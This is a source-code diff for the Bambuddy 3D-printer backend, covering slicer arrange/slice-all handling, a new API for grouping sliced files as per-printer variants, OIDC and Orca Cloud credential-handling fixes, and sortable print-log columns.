     # forwards each frame onto SliceDispatchService.set_progress for the
@@ -3805,36 +3828,27 @@ async def _run_slicer_with_fallback(
 
 
         filament_jsons = substitute_unused_plate_filaments(primary_bytes, request.plate or 1, filament_jsons)
         filament_jsons = substitute_unused_plate_filaments(primary_bytes, request.plate or 1, filament_jsons)
 
 
-    # Cross-class slice-all loop (#1493): when the user asks for
-    # ``plate=0`` (all plates) AND the source's nozzle class differs from
-    # the target's, ``--slice 0 --arrange 1`` consolidates every plate's
-    # objects onto a single target bed (BS's ``--arrange`` is project-
-    # wide) — either packing them all together or rejecting with "Some
-    # objects are located over the boundary of the heated bed" when
-    # nothing fits. Slice each plate independently with ``--arrange 1``
-    # and merge the per-plate outputs into one multi-plate 3MF instead.
-    # Same-class slice-all goes through the regular path below — the
-    # sidecar's native ``--slice 0`` produces the right shape directly.
-    use_cross_class_slice_all = cross_class_arrange and request.plate == 0 and request.export_3mf
+    # Arrange slice-all loop (#1493): when the user asks for ``plate=0``
+    # (all plates) AND arrange is on, ``--slice 0 --arrange 1``
+    # consolidates every plate's objects onto a single target bed (BS's
+    # ``--arrange`` is project-wide) — either packing them all together or
+    # rejecting with "Some objects are located over the boundary of the
+    # heated bed" when nothing fits. Slice each plate independently with
+    # ``--arrange 1`` and merge the per-plate outputs into one multi-plate
+    # 3MF instead. Slice-all without arrange goes through the regular path
+    # below — the sidecar's native ``--slice 0`` produces the right shape
+    # directly.
+    #
+    # Keyed on ``arrange_flag``, not just the cross-class decision: the
+    # project-wide collapse is a property of ``--arrange`` itself, so a
+    # user-requested arrange over all plates (#2548) hits it identically.
+    # Orient doesn't — it rotates objects where they stand and never moves
+    # one between plates — so it isn't part of this condition.
+    use_arrange_slice_all = arrange_flag and request.plate == 0 and request.export_3mf
 
 
     try:
     try:
         try:
         try:
-            if embedded_mode:
-                # No --load-settings: feed the CLI the file's own
-                # project_settings.config untouched so the designer's tweaks
-                # (walls, infill, etc.) drive the slice. primary_bytes is
-                # already sentinel-sanitised above, the same bytes the
-                # crash-fallback uses. The resolved presets go unused here.
-                result = await service.slice_without_profiles(
-                    model_bytes=primary_bytes,
-                    model_filename=model_filename,
-                    plate=request.plate,
-                    export_3mf=request.export_3mf,
-                    request_id=progress_request_id,
-                    on_progress=progress_callback,
-                )
-                used_embedded_settings = True
-            elif use_cross_class_slice_all:
+            if use_arrange_slice_all:
                 from backend.app.services.slicer_3mf_convert import (
                 from backend.app.services.slicer_3mf_convert import (
                     count_plates_in_3mf,
                     count_plates_in_3mf,
                     merge_plate_3mfs,
                     merge_plate_3mfs,
@@ -3851,8 +3865,10 @@ async def _run_slicer_with_fallback(
                         ),
                         ),
                     )
                     )
                 logger.info(
                 logger.info(
-                    "Cross-class slice-all: looping over %d plates with --arrange per plate, then merging",
+                    "Arrange slice-all: looping over %d plates with --arrange per plate, then merging "
+                    "(embedded_settings=%s)",
                     plate_count,
                     plate_count,
+                    embedded_mode,
                 )
                 )
                 from backend.app.services.slicer_api import SliceResult
                 from backend.app.services.slicer_api import SliceResult
 
 
@@ -3881,18 +3897,35 @@ async def _run_slicer_with_fallback(
 
 
                 for plate_num in range(1, plate_count + 1):
                 for plate_num in range(1, plate_count + 1):
                     plate_cb = _wrap_progress_for_plate(plate_num, plate_count)
                     plate_cb = _wrap_progress_for_plate(plate_num, plate_count)
-                    per_plate = await service.slice_with_profiles(
-                        model_bytes=primary_bytes,
-                        model_filename=model_filename,
-                        printer_profile_json=presets["printer"],
-                        process_profile_json=presets["process"],
-                        filament_profile_jsons=filament_jsons,
-                        plate=plate_num,
-                        export_3mf=True,
-                        arrange=True,
-                        request_id=progress_request_id,
-                        on_progress=plate_cb,
-                    )
+                    # "Slice as designed" has to take the loop too, not skip
+                    # it: the project-wide collapse is caused by --arrange,
+                    # and which config drives the slice has no bearing on
+                    # that. Same call, minus --load-settings.
+                    if embedded_mode:
+                        per_plate = await service.slice_without_profiles(
+                            model_bytes=primary_bytes,
+                            model_filename=model_filename,
+                            plate=plate_num,
+                            export_3mf=True,
+                            arrange=True,
+                            orient=orient_flag,
+                            request_id=progress_request_id,
+                            on_progress=plate_cb,
+                        )
+                    else:
+                        per_plate = await service.slice_with_profiles(
+                            model_bytes=primary_bytes,
+                            model_filename=model_filename,
+                            printer_profile_json=presets["printer"],
+                            process_profile_json=presets["process"],
+                            filament_profile_jsons=filament_jsons,
+                            plate=plate_num,
+                            export_3mf=True,
+                            arrange=True,
+                            orient=orient_flag,
+                            request_id=progress_request_id,
+                            on_progress=plate_cb,
+                        )
                     per_plate_results.append((plate_num, per_plate))
                     per_plate_results.append((plate_num, per_plate))
 
 
                 # Merge the N single-plate 3MFs into one multi-plate 3MF.
                 # Merge the N single-plate 3MFs into one multi-plate 3MF.
@@ -3913,6 +3946,28 @@ async def _run_slicer_with_fallback(
                     filament_used_g=sum(r.filament_used_g for _, r in per_plate_results),
                     filament_used_g=sum(r.filament_used_g for _, r in per_plate_results),
                     filament_used_mm=sum(r.filament_used_mm for _, r in per_plate_results),
                     filament_used_mm=sum(r.filament_used_mm for _, r in per_plate_results),
                 )
                 )
+                # Report the path honestly: the loop can run either way, and
+                # the UI reads this flag to tell the user whose settings won.
+                used_embedded_settings = embedded_mode
+            elif embedded_mode:
+                # No --load-settings: feed the CLI the file's own
+                # project_settings.config untouched so the designer's tweaks
+                # (walls, infill, etc.) drive the slice. primary_bytes is
+                # already sentinel-sanitised above, the same bytes the
+                # crash-fallback uses. The resolved presets go unused here.
+                # Arrange / orient still apply: they are CLI actions on the
+                # geometry, not settings the embedded config could carry.
+                result = await service.slice_without_profiles(
+                    model_bytes=primary_bytes,
+                    model_filename=model_filename,
+                    plate=request.plate,
+                    export_3mf=request.export_3mf,
+                    arrange=arrange_flag,
+                    orient=orient_flag,
+                    request_id=progress_request_id,
+                    on_progress=progress_callback,
+                )
+                used_embedded_settings = True
             else:
             else:
                 result = await service.slice_with_profiles(
                 result = await service.slice_with_profiles(
                     model_bytes=primary_bytes,
                     model_bytes=primary_bytes,
@@ -3922,7 +3977,8 @@ async def _run_slicer_with_fallback(
                     filament_profile_jsons=filament_jsons,
                     filament_profile_jsons=filament_jsons,
                     plate=request.plate,
                     plate=request.plate,
                     export_3mf=request.export_3mf,
                     export_3mf=request.export_3mf,
-                    arrange=cross_class_arrange,
+                    arrange=arrange_flag,
+                    orient=orient_flag,
                     request_id=progress_request_id,
                     request_id=progress_request_id,
                     on_progress=progress_callback,
                     on_progress=progress_callback,
                 )
                 )
@@ -3942,6 +3998,14 @@ async def _run_slicer_with_fallback(
                 # error (the outer handler turns it into a 502) instead of
                 # error (the outer handler turns it into a 502) instead of
                 # re-running the same embedded slice.
                 # re-running the same embedded slice.
                 raise
                 raise
+            if use_arrange_slice_all:
+                # The fallback is a single ``--slice 0`` call, and with
+                # arrange on that collapses every plate onto one bed — the
+                # exact outcome the per-plate loop above exists to avoid.
+                # Retrying would hand back a one-plate result for a job the
+                # user asked to slice as N, which reads as a Bambuddy bug
+                # rather than a slicer failure. Surface the error instead.
+                raise
             logger.warning(
             logger.warning(
                 "Slicer CLI failed on the --load-settings path for %s (%s); retrying with embedded settings",
                 "Slicer CLI failed on the --load-settings path for %s (%s); retrying with embedded settings",
                 model_filename,
                 model_filename,
@@ -3955,11 +4019,17 @@ async def _run_slicer_with_fallback(
             # there too, so without sanitisation the fallback would die
             # there too, so without sanitisation the fallback would die
             # on the same sentinel error (#1201). The SliceModal flags
             # on the same sentinel error (#1201). The SliceModal flags
             # the difference to the user via used_embedded_settings.
             # the difference to the user via used_embedded_settings.
+            # Carry the layout flags across too — the retry is meant to
+            # differ from the failed attempt only in where the print
+            # config came from, so dropping them here would silently
+            # produce an un-arranged result the user did ask for.
             result = await service.slice_without_profiles(
             result = await service.slice_without_profiles(
                 model_bytes=primary_bytes,
                 model_bytes=primary_bytes,
                 model_filename=model_filename,
                 model_filename=model_filename,
                 plate=request.plate,
                 plate=request.plate,
                 export_3mf=request.export_3mf,
                 export_3mf=request.export_3mf,
+                arrange=arrange_flag,
+                orient=orient_flag,
                 request_id=progress_request_id,
                 request_id=progress_request_id,
                 on_progress=progress_callback,
                 on_progress=progress_callback,
             )
             )
@@ -4692,6 +4762,9 @@ async def delete_file(
                 abs_thumb_path.unlink()
                 abs_thumb_path.unlink()
             except OSError as e:
             except OSError as e:
                 logger.warning("Failed to delete thumbnail from disk: %s", e)
                 logger.warning("Failed to delete thumbnail from disk: %s", e)
+        from backend.app.services.library_trash import delete_dependent_variants
+
+        await delete_dependent_variants(db, [file.id])
         await db.delete(file)
         await db.delete(file)
         await db.commit()
         await db.commit()
         return {"status": "success", "message": "File deleted", "trashed": False}
         return {"status": "success", "message": "File deleted", "trashed": False}

+ 425 - 0
backend/app/api/routes/library_variants.py

@@ -0,0 +1,425 @@
+"""Variant groups — one job, several sliced files (#671 / #2570).
+
+A user with more than one printer model slices the same job once per model. The
+files are unrelated as far as the library is concerned: different names,
+different metadata, often uploaded separately after being sliced in Bambu Studio.
+A variant group is the user telling Bambuddy that they are interchangeable.
+
+Two features consume that statement from opposite ends:
+
+* the print queue picks the printer and needs the matching file (#671)
+* the File Manager's print action has the printer already and needs the same
+  match (#2570)
+
+The group itself stores no model information. Each member's target model comes
+from its own ``sliced_for_model``, parsed out of the 3MF, so a group can never
+disagree with the files in it. A legacy file that declares no model may name one
+explicitly, because there is nothing else to go on.
+
+Invariants enforced here rather than in the database, because they are about
+meaning rather than shape:
+
+* **Two members minimum.** A group of one expresses no choice. Removing members
+  down to one dissolves the group rather than leaving a stub that does nothing.
+* **One member per model.** Two files sliced for the same printer are not
+  alternatives — the resolver would have no basis to prefer one, so an
+  arbitrary pick would look like a bug the first time the wrong quality preset
+  came out.
+* **Members must be sliced and must resolve to a model.** An unsliced .3mf can
+  never be dispatched, so it cannot be a candidate.
+* **A file belongs to at most one group**, which the schema already guarantees;
+  this layer turns the resulting overwrite into an explicit 409.
+
+Permissions follow library_tags.py: mutations need LIBRARY_UPDATE_ALL /
+LIBRARY_UPDATE_OWN, reads need LIBRARY_READ_ALL / LIBRARY_READ_OWN, and an
+``*_OWN`` caller only ever sees or touches files they created.
+"""
+
+from __future__ import annotations
+
+import logging
+
+from fastapi import APIRouter, Depends, HTTPException
+from sqlalchemy import select
+from sqlalchemy.ext.asyncio import AsyncSession
+
+from backend.app.core.auth import require_ownership_permission
+from backend.app.core.database import get_db
+from backend.app.core.permissions import Permission
+from backend.app.models.library import FileVariantGroup, LibraryFile
+from backend.app.models.user import User
+from backend.app.schemas.library import (
+    VariantGroupCreate,
+    VariantGroupMemberRequest,
+    VariantGroupMemberResponse,
+    VariantGroupResponse,
+    VariantGroupUpdate,
+)
+from backend.app.utils.printer_models import normalize_printer_model, normalize_printer_model_id
+
+logger = logging.getLogger(__name__)
+
+router = APIRouter(prefix="/library/variant-groups", tags=["library-variants"])
+
+# File types that can actually be sent to a printer. A source .3mf or an .stl
+# has no G-code and no sliced_for_model, so it is never a dispatch candidate.
+_PRINTABLE_TYPES = ("gcode.3mf", "gcode")
+
+
+def normalize_model_name(raw: str | None) -> str | None:
+    """Normalize any spelling of a printer model to its short name.
+
+    Internal codes are resolved **first**. ``normalize_printer_model`` returns
+    unknown input unchanged rather than None, so an ``x or y`` chain in the other
+    order never reaches the code map and leaves "O1C" as "O1C" — which then
+    matches no printer row and leaves the job waiting forever. Running the code
+    map first is a no-op for every non-code input.
+    """
+    if not raw:
+        return None
+    return normalize_printer_model(normalize_printer_model_id(raw) or raw) or raw
+
+
+def resolve_variant_model(lib_file: LibraryFile, explicit: str | None = None) -> str | None:
+    """Normalized model a file will be dispatched to, or None if unknowable.
+
+    Precedence: the caller's explicit choice for this request, then the durable
+    override stored on the file, then what the 3MF itself declares. The override
+    exists because a file imported before Bambuddy parsed ``sliced_for_model``
+    declares nothing, and without a way to say so it could never be grouped.
+    It is kept separate from ``file_metadata`` so a user's assertion is never
+    mistaken for something parsed out of the file.
+    """
+    raw = explicit or lib_file.variant_target_model or (lib_file.file_metadata or {}).get("sliced_for_model")
+    return normalize_model_name(raw)
+
+
+async def _load_files(
+    db: AsyncSession,
+    file_ids: list[int],
+    user: User | None,
+    can_access_all: bool,
+) -> dict[int, LibraryFile]:
+    """Fetch the caller's visible, untrashed files by id."""
+    query = LibraryFile.active().where(LibraryFile.id.in_(file_ids))
+    if user is not None and not can_access_all:
+        query = query.where(LibraryFile.created_by_id == user.id)
+    rows = (await db.execute(query)).scalars().all()
+    return {f.id: f for f in rows}
+
+
+def _validate_member(lib_file: LibraryFile, explicit_model: str | None) -> str:
+    """Return the member's model, or raise the reason it cannot be one."""
+    if lib_file.file_type not in _PRINTABLE_TYPES:
+        raise HTTPException(
+            400,
+            f"{lib_file.filename} is not a sliced file — only sliced output can be a print variant",
+        )
+    model = resolve_variant_model(lib_file, explicit_model)
+    if not model:
+        raise HTTPException(
+            400,
+            f"{lib_file.filename} does not say which printer it was sliced for — set its target model explicitly",
+        )
+    if explicit_model:
+        # Persist the user's answer, normalized. The group stores no model data
+        # of its own, so without this the choice would last exactly one request
+        # and the member would read back with no model at all.
+        lib_file.variant_target_model = model
+    return model
+
+
+async def _group_response(db: AsyncSession, group: FileVariantGroup) -> VariantGroupResponse:
+    members = (
+        (
+            await db.execute(
+                LibraryFile.active()
+                .where(LibraryFile.variant_group_id == group.id)
+                .order_by(LibraryFile.variant_position, LibraryFile.id)
+            )
+        )
+        .scalars()
+        .all()
+    )
+    return VariantGroupResponse(
+        id=group.id,
+        name=group.name,
+        members=[
+            VariantGroupMemberResponse(
+                library_file_id=f.id,
+                filename=f.filename,
+                # Members were validated on the way in, but a file whose metadata
+                # was rewritten since then should not blow up a read.
+                target_model=resolve_variant_model(f) or "",
+                position=f.variant_position,
+            )
+            for f in members
+        ],
+    )
+
+
+async def _get_group_or_404(db: AsyncSession, group_id: int) -> FileVariantGroup:
+    group = (await db.execute(select(FileVariantGroup).where(FileVariantGroup.id == group_id))).scalar_one_or_none()
+    if not group:
+        raise HTTPException(404, "Variant group not found")
+    return group
+
+
+async def _dissolve_if_too_small(db: AsyncSession, group: FileVariantGroup) -> bool:
+    """Delete the group when fewer than two members remain.
+
+    A one-member group is not a choice, and leaving one behind would let the
+    queue create a cross-model item with a single candidate that silently
+    behaves like an ordinary job. Returns True when the group was dissolved.
+    """
+    remaining = (await db.execute(select(LibraryFile).where(LibraryFile.variant_group_id == group.id))).scalars().all()
+    if len(remaining) >= 2:
+        return False
+    for lib_file in remaining:
+        lib_file.variant_group_id = None
+        lib_file.variant_position = 0
+    await db.delete(group)
+    return True
+
+
+@router.post("", response_model=VariantGroupResponse, status_code=201)
+@router.post("/", response_model=VariantGroupResponse, status_code=201)
+async def create_variant_group(
+    payload: VariantGroupCreate,
+    db: AsyncSession = Depends(get_db),
+    auth_result: tuple[User | None, bool] = Depends(
+        require_ownership_permission(
+            Permission.LIBRARY_UPDATE_ALL,
+            Permission.LIBRARY_UPDATE_OWN,
+        )
+    ),
+) -> VariantGroupResponse:
+    """Group files as variants of one job, in priority order."""
+    user, can_update_all = auth_result
+
+    file_ids = [m.library_file_id for m in payload.members]
+    if len(set(file_ids)) != len(file_ids):
+        raise HTTPException(400, "The same file cannot appear twice in a variant group")
+
+    files = await _load_files(db, file_ids, user, can_update_all)
+    missing = [fid for fid in file_ids if fid not in files]
+    if missing:
+        raise HTTPException(404, f"Library file not found: {missing[0]}")
+
+    already_grouped = [files[fid].filename for fid in file_ids if files[fid].variant_group_id is not None]
+    if already_grouped:
+        raise HTTPException(409, f"{already_grouped[0]} already belongs to a variant group")
+
+    models: dict[str, str] = {}
+    for member in payload.members:
+        lib_file = files[member.library_file_id]
+        model = _validate_member(lib_file, member.target_model)
+        if model in models:
+            raise HTTPException(
+                400,
+                f"{lib_file.filename} and {models[model]} are both sliced for {model} — "
+                "variants must target different printers",
+            )
+        models[model] = lib_file.filename
+
+    group = FileVariantGroup(
+        name=payload.name or files[file_ids[0]].filename,
+        created_by_id=user.id if user else None,
+    )
+    db.add(group)
+    await db.flush()
+
+    for position, fid in enumerate(file_ids):
+        files[fid].variant_group_id = group.id
+        files[fid].variant_position = position
+
+    await db.commit()
+    logger.info("Created variant group %s with %d members", group.id, len(file_ids))
+    return await _group_response(db, group)
+
+
+@router.get("/by-file/{file_id}", response_model=VariantGroupResponse)
+async def get_group_for_file(
+    file_id: int,
+    db: AsyncSession = Depends(get_db),
+    auth_result: tuple[User | None, bool] = Depends(
+        require_ownership_permission(
+            Permission.LIBRARY_READ_ALL,
+            Permission.LIBRARY_READ_OWN,
+        )
+    ),
+) -> VariantGroupResponse:
+    """The group a file belongs to.
+
+    Both consumers start from a file rather than a group id: the print modal
+    knows which file the user clicked, and the queue-create flow knows which
+    file was selected.
+    """
+    user, can_read_all = auth_result
+    files = await _load_files(db, [file_id], user, can_read_all)
+    lib_file = files.get(file_id)
+    if not lib_file:
+        raise HTTPException(404, "Library file not found")
+    if lib_file.variant_group_id is None:
+        raise HTTPException(404, "File is not part of a variant group")
+    return await _group_response(db, await _get_group_or_404(db, lib_file.variant_group_id))
+
+
+@router.get("/{group_id}", response_model=VariantGroupResponse)
+async def get_variant_group(
+    group_id: int,
+    db: AsyncSession = Depends(get_db),
+    auth_result: tuple[User | None, bool] = Depends(
+        require_ownership_permission(
+            Permission.LIBRARY_READ_ALL,
+            Permission.LIBRARY_READ_OWN,
+        )
+    ),
+) -> VariantGroupResponse:
+    return await _group_response(db, await _get_group_or_404(db, group_id))
+
+
+@router.patch("/{group_id}", response_model=VariantGroupResponse)
+async def update_variant_group(
+    group_id: int,
+    payload: VariantGroupUpdate,
+    db: AsyncSession = Depends(get_db),
+    auth_result: tuple[User | None, bool] = Depends(
+        require_ownership_permission(
+            Permission.LIBRARY_UPDATE_ALL,
+            Permission.LIBRARY_UPDATE_OWN,
+        )
+    ),
+) -> VariantGroupResponse:
+    """Rename the group, re-order its members, or both.
+
+    Re-ordering is how the user says which printer they would rather have when
+    both are free, so it must be an explicit full ordering — a partial list
+    would leave the rest in an order nobody chose.
+    """
+    user, can_update_all = auth_result
+    group = await _get_group_or_404(db, group_id)
+
+    if payload.name is not None:
+        group.name = payload.name
+
+    if payload.member_file_ids is not None:
+        current = (
+            (await db.execute(select(LibraryFile).where(LibraryFile.variant_group_id == group.id))).scalars().all()
+        )
+        if set(payload.member_file_ids) != {f.id for f in current}:
+            raise HTTPException(400, "member_file_ids must list exactly the group's current members")
+        files = await _load_files(db, payload.member_file_ids, user, can_update_all)
+        if len(files) != len(payload.member_file_ids):
+            raise HTTPException(404, "Library file not found")
+        for position, fid in enumerate(payload.member_file_ids):
+            files[fid].variant_position = position
+
+    await db.commit()
+    return await _group_response(db, group)
+
+
+@router.post("/{group_id}/members", response_model=VariantGroupResponse)
+async def add_variant_group_member(
+    payload: VariantGroupMemberRequest,
+    group_id: int,
+    db: AsyncSession = Depends(get_db),
+    auth_result: tuple[User | None, bool] = Depends(
+        require_ownership_permission(
+            Permission.LIBRARY_UPDATE_ALL,
+            Permission.LIBRARY_UPDATE_OWN,
+        )
+    ),
+) -> VariantGroupResponse:
+    """Attach another slice to an existing group.
+
+    This is the common real case: the H2S version was queued last week, the H2C
+    version was sliced today.
+    """
+    user, can_update_all = auth_result
+    group = await _get_group_or_404(db, group_id)
+
+    files = await _load_files(db, [payload.library_file_id], user, can_update_all)
+    lib_file = files.get(payload.library_file_id)
+    if not lib_file:
+        raise HTTPException(404, "Library file not found")
+    if lib_file.variant_group_id == group.id:
+        raise HTTPException(409, f"{lib_file.filename} is already in this group")
+    if lib_file.variant_group_id is not None:
+        raise HTTPException(409, f"{lib_file.filename} already belongs to a variant group")
+
+    model = _validate_member(lib_file, payload.target_model)
+
+    existing = (
+        (
+            await db.execute(
+                LibraryFile.active()
+                .where(LibraryFile.variant_group_id == group.id)
+                .order_by(LibraryFile.variant_position, LibraryFile.id)
+            )
+        )
+        .scalars()
+        .all()
+    )
+    for other in existing:
+        if resolve_variant_model(other) == model:
+            raise HTTPException(
+                400,
+                f"{lib_file.filename} and {other.filename} are both sliced for {model} — "
+                "variants must target different printers",
+            )
+
+    lib_file.variant_group_id = group.id
+    lib_file.variant_position = len(existing)
+    await db.commit()
+    return await _group_response(db, group)
+
+
+@router.delete("/{group_id}/members/{file_id}", response_model=None, status_code=204)
+async def remove_variant_group_member(
+    group_id: int,
+    file_id: int,
+    db: AsyncSession = Depends(get_db),
+    auth_result: tuple[User | None, bool] = Depends(
+        require_ownership_permission(
+            Permission.LIBRARY_UPDATE_ALL,
+            Permission.LIBRARY_UPDATE_OWN,
+        )
+    ),
+) -> None:
+    """Drop one file out of a group; the file itself is untouched."""
+    user, can_update_all = auth_result
+    group = await _get_group_or_404(db, group_id)
+
+    files = await _load_files(db, [file_id], user, can_update_all)
+    lib_file = files.get(file_id)
+    if not lib_file or lib_file.variant_group_id != group.id:
+        raise HTTPException(404, "File is not a member of this group")
+
+    lib_file.variant_group_id = None
+    lib_file.variant_position = 0
+    await db.flush()
+    await _dissolve_if_too_small(db, group)
+    await db.commit()
+
+
+@router.delete("/{group_id}", response_model=None, status_code=204)
+async def delete_variant_group(
+    group_id: int,
+    db: AsyncSession = Depends(get_db),
+    auth_result: tuple[User | None, bool] = Depends(
+        require_ownership_permission(
+            Permission.LIBRARY_UPDATE_ALL,
+            Permission.LIBRARY_UPDATE_OWN,
+        )
+    ),
+) -> None:
+    """Ungroup the files. The files themselves are kept — every one of them is
+    independently printable, which is the whole reason they were grouped."""
+    group = await _get_group_or_404(db, group_id)
+    members = (await db.execute(select(LibraryFile).where(LibraryFile.variant_group_id == group.id))).scalars().all()
+    for lib_file in members:
+        lib_file.variant_group_id = None
+        lib_file.variant_position = 0
+    await db.delete(group)
+    await db.commit()

+ 16 - 0
backend/app/api/routes/mfa.py

@@ -1404,6 +1404,18 @@ async def create_oidc_provider(
     return _build_provider_response(provider)
     return _build_provider_response(provider)
 
 
 
 
+def _refuse_if_env_managed(provider: OIDCProvider) -> None:
+    """Startup rewrites this provider from BAMBUDDY_OIDC_* on every boot, so an
+    edit here would be accepted and then silently reverted at the next restart.
+    BAMBUDDY_LOCAL_LOGIN (#1589) remains the recovery path if it becomes
+    unusable, so refusing outright cannot lock anyone out."""
+    if provider.is_env_managed:
+        raise HTTPException(
+            status_code=status.HTTP_409_CONFLICT,
+            detail="This OIDC provider is managed by environment variables and cannot be modified.",
+        )
+
+
 @router.put("/oidc/providers/{provider_id}", response_model=OIDCProviderResponse)
 @router.put("/oidc/providers/{provider_id}", response_model=OIDCProviderResponse)
 async def update_oidc_provider(
 async def update_oidc_provider(
     provider_id: int,
     provider_id: int,
@@ -1426,6 +1438,7 @@ async def update_oidc_provider(
     provider = result2.scalar_one_or_none()
     provider = result2.scalar_one_or_none()
     if not provider:
     if not provider:
         raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Provider not found")
         raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Provider not found")
+    _refuse_if_env_managed(provider)
 
 
     if body.default_group_id is not None:
     if body.default_group_id is not None:
         grp_chk = await db.execute(select(Group).where(Group.id == body.default_group_id))
         grp_chk = await db.execute(select(Group).where(Group.id == body.default_group_id))
@@ -1503,6 +1516,7 @@ async def delete_oidc_provider(
     provider = result2.scalar_one_or_none()
     provider = result2.scalar_one_or_none()
     if not provider:
     if not provider:
         raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Provider not found")
         raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Provider not found")
+    _refuse_if_env_managed(provider)
 
 
     await db.delete(provider)
     await db.delete(provider)
     await db.commit()
     await db.commit()
@@ -1571,6 +1585,7 @@ async def delete_oidc_provider_icon(
     provider = result.scalar_one_or_none()
     provider = result.scalar_one_or_none()
     if provider is None:
     if provider is None:
         raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Provider not found")
         raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Provider not found")
+    _refuse_if_env_managed(provider)
 
 
     # Setting deferred columns is safe — no read happens, just a write.
     # Setting deferred columns is safe — no read happens, just a write.
     provider.icon_url = None
     provider.icon_url = None
@@ -1603,6 +1618,7 @@ async def refresh_oidc_provider_icon(
     provider = result.scalar_one_or_none()
     provider = result.scalar_one_or_none()
     if provider is None:
     if provider is None:
         raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Provider not found")
         raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail="Provider not found")
+    _refuse_if_env_managed(provider)
     if not provider.icon_url:
     if not provider.icon_url:
         raise HTTPException(
         raise HTTPException(
             status_code=status.HTTP_400_BAD_REQUEST,
             status_code=status.HTTP_400_BAD_REQUEST,

+ 24 - 3
backend/app/api/routes/orca_cloud.py

@@ -431,6 +431,7 @@ async def _upsert_settings(db: AsyncSession, values: dict[str, str | None]) -> N
 async def _build_authenticated_service(
 async def _build_authenticated_service(
     db: AsyncSession,
     db: AsyncSession,
     user: User | None,
     user: User | None,
+    clear_on_auth_failure: bool = True,
 ) -> OrcaCloudService:
 ) -> OrcaCloudService:
     """Construct an :class:`OrcaCloudService` pre-populated with stored
     """Construct an :class:`OrcaCloudService` pre-populated with stored
     credentials. If the access token is within the refresh-leeway of expiry,
     credentials. If the access token is within the refresh-leeway of expiry,
@@ -440,7 +441,24 @@ async def _build_authenticated_service(
     We don't lock around the refresh: Orca tolerates concurrent refreshes for
     We don't lock around the refresh: Orca tolerates concurrent refreshes for
     ~60s (each racer gets its own valid pair on the same connection rather than
     ~60s (each racer gets its own valid pair on the same connection rather than
     a revoke), so a lost race here is harmless — last-write-wins on the stored
     a revoke), so a lost race here is harmless — last-write-wins on the stored
-    pair, and whichever pair we keep is valid."""
+    pair, and whichever pair we keep is valid.
+
+    ``clear_on_auth_failure`` controls what happens when the refresh is
+    rejected. Routes leave it on: the caller is a person looking at the UI, and
+    wiping the dead credentials flips the page to disconnected in front of them
+    so they can pair again. Background jobs pass ``False`` — see the caveat
+    below.
+
+    Why background callers must not clear: Orca reports every rejection with
+    one composite reason (``unknown, expired, revoked, or already used``), so
+    a genuine revocation is indistinguishable from a lost refresh-rotation
+    race. Acting destructively on a signal that can't be disambiguated is the
+    #2562 mistake in a different cloud. It also gains nothing — a route call
+    hits the same failure and clears then, at a moment the user can respond to.
+    A successful refresh is still persisted either way: by that point the old
+    refresh token is consumed, so dropping the new pair would break a working
+    pairing for real.
+    """
     creds = await _load_credentials(db, user)
     creds = await _load_credentials(db, user)
     if not creds.token:
     if not creds.token:
         raise HTTPException(status_code=401, detail="Orca Cloud is not connected — sign in first.")
         raise HTTPException(status_code=401, detail="Orca Cloud is not connected — sign in first.")
@@ -457,8 +475,11 @@ async def _build_authenticated_service(
             await svc.refresh()
             await svc.refresh()
         except OrcaCloudAuthError as e:
         except OrcaCloudAuthError as e:
             # Refresh token was revoked or rotated out from under us. Clear
             # Refresh token was revoked or rotated out from under us. Clear
-            # the stale credentials so the UI flips to disconnected.
-            await _clear_credentials(db, user)
+            # the stale credentials so the UI flips to disconnected — unless
+            # the caller is a background job, which must not change sign-in
+            # state on its own.
+            if clear_on_auth_failure:
+                await _clear_credentials(db, user)
             raise HTTPException(status_code=401, detail=f"Orca Cloud session refresh failed: {e}") from e
             raise HTTPException(status_code=401, detail=f"Orca Cloud session refresh failed: {e}") from e
         except OrcaCloudError as e:
         except OrcaCloudError as e:
             raise HTTPException(status_code=502, detail=f"Orca Cloud unreachable: {e}") from e
             raise HTTPException(status_code=502, detail=f"Orca Cloud unreachable: {e}") from e

+ 57 - 47
backend/app/api/routes/print_log.py

@@ -3,7 +3,7 @@ from datetime import datetime
 
 
 from fastapi import APIRouter, Depends, HTTPException, Query
 from fastapi import APIRouter, Depends, HTTPException, Query
 from fastapi.responses import FileResponse
 from fastapi.responses import FileResponse
-from sqlalchemy import delete, func, select
+from sqlalchemy import delete, func, nullslast, select
 from sqlalchemy.ext.asyncio import AsyncSession
 from sqlalchemy.ext.asyncio import AsyncSession
 
 
 from backend.app.core.auth import (
 from backend.app.core.auth import (
@@ -22,6 +22,30 @@ logger = logging.getLogger(__name__)
 
 
 router = APIRouter(prefix="/print-log", tags=["print-log"])
 router = APIRouter(prefix="/print-log", tags=["print-log"])
 
 
+# Sortable columns, keyed by the id the Print Log table uses for its columns
+# (#2636). An explicit map rather than getattr on a caller-supplied string:
+# the client picks the key, so anything else would let a request order by any
+# attribute it can name.
+#
+# ``date`` coalesces because the column renders ``started_at or created_at`` —
+# sorting on started_at alone would scatter the rows that have no start time
+# (queue-skipped entries) instead of interleaving them where the user sees
+# them.
+_SORTABLE_COLUMNS = {
+    "date": func.coalesce(PrintLogEntry.started_at, PrintLogEntry.created_at),
+    "print_name": PrintLogEntry.print_name,
+    "printer": PrintLogEntry.printer_name,
+    "user": PrintLogEntry.created_by_username,
+    "status": PrintLogEntry.status,
+    "duration": PrintLogEntry.duration_seconds,
+    "completed_at": PrintLogEntry.completed_at,
+    "filament": PrintLogEntry.filament_type,
+    "filament_used": PrintLogEntry.filament_used_grams,
+    "cost": PrintLogEntry.cost,
+    "energy": PrintLogEntry.energy_kwh,
+    "energy_cost": PrintLogEntry.energy_cost,
+}
+
 
 
 @router.get("/", response_model=PrintLogResponse)
 @router.get("/", response_model=PrintLogResponse)
 async def get_print_log(
 async def get_print_log(
@@ -33,6 +57,8 @@ async def get_print_log(
     date_to: datetime | None = None,
     date_to: datetime | None = None,
     limit: int = Query(default=50, ge=1, le=500),
     limit: int = Query(default=50, ge=1, le=500),
     offset: int = Query(default=0, ge=0),
     offset: int = Query(default=0, ge=0),
+    sort_by: str = Query(default="date"),
+    sort_dir: str = Query(default="desc", pattern="^(asc|desc)$"),
